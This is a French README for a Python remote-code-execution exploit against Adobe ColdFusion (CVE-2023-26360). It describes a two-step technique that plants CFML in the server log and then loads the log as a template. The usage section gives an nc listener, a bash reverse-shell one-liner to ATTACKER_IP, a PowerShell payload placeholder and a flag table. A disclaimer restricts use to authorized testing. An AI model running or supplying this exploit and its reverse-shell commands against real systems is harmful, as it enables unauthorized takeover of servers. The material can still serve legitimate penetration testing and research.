
Cet exploit est basé sur CVE-2023-26360 (https://nvd.nist.gov/vuln/detail/CVE-2023-26360) et a été construit à partir du module Metasploit et de jakabakos/CVE-2023-26360-adobe-coldfusion-rce-exploit.
Implémentation en Python de l'exploit d'exécution de code à distance pour CVE-2023-26360, basée sur l'analyse du module Metasploit original et des travaux antérieurs de jakabakos.
Le PoC de jakabakos tente d'injecter <cfexecute> directement dans le paramètre _variables et de lire la sortie depuis le journal ColdFusion en une seule étape. Cette approche échoue car ColdFusion n'évalue pas les balises CFML en ligne dans ce contexte, ce qui produit une erreur 500 sans exécution de code.
Cette implémentation reproduit le mécanisme correct en deux étapes utilisé par le module Metasploit :
_variables malformée ({<cftry>CFML</cftry>) au point de terminaison CFC vulnérable. ColdFusion ne parvient pas à l'analyser et écrit le contenu brut — y compris le code CFML — dans coldfusion-out.log.L'exécution de commandes est réalisée via java.lang.Runtime.exec() par l'intermédiaire de createObject, évitant ainsi toute dépendance à <cfexecute>, qui est généralement désactivé dans les environnements durcis ou de production.
pip install -r requirements.txt
Démarrez un listener avant de lancer l'exploit :
nc -lvnp 4444
Cible Windows :
python exploit.py --host http://TARGET:8500 --win --cmd "powershell -e <BASE64_PAYLOAD>"
Cible Linux :
python exploit.py --host http://TARGET:8500 --cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
Via un proxy (par ex. Burp Suite) :
python exploit.py --host http://TARGET:8500 --win --cmd "whoami" --proxy http://127.0.0.1:8080
| Flag | Description |
|---|---|
┌─────────────┐ Étape 1 : planter le CFML ┌──────────────────┐
│ Attaquant │ ──── POST /_variables={<cftry>... ──► iedit.cfc │
│ │ CF ne parvient pas à analyser, │ │
│ │ journalise le CFML │ coldfusion- │
│ │ Étape 2 : déclencher l'exécution │ out.log │
│ │ ──── POST classname=X..\logs\cf... ──► (chargé comme │
│ │ │ template CFML) │
│ Listener │ ◄─────────────── reverse shell ───────│ │
└─────────────┘ └──────────────────┘
Cet outil est fourni à des fins pédagogiques et pour des évaluations de sécurité autorisées uniquement (tests d'intrusion, CTF, environnements de laboratoire). Exécuter cet exploit contre des systèmes sans autorisation écrite explicite est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive.
--hostURL de base de la cible (par ex. http://192.168.1.10:8500) |
--cmd | Commande à exécuter sur la cible |
--win | Définir ce flag si la cible est un hôte Windows |
--proxy | URL de proxy HTTP optionnelle |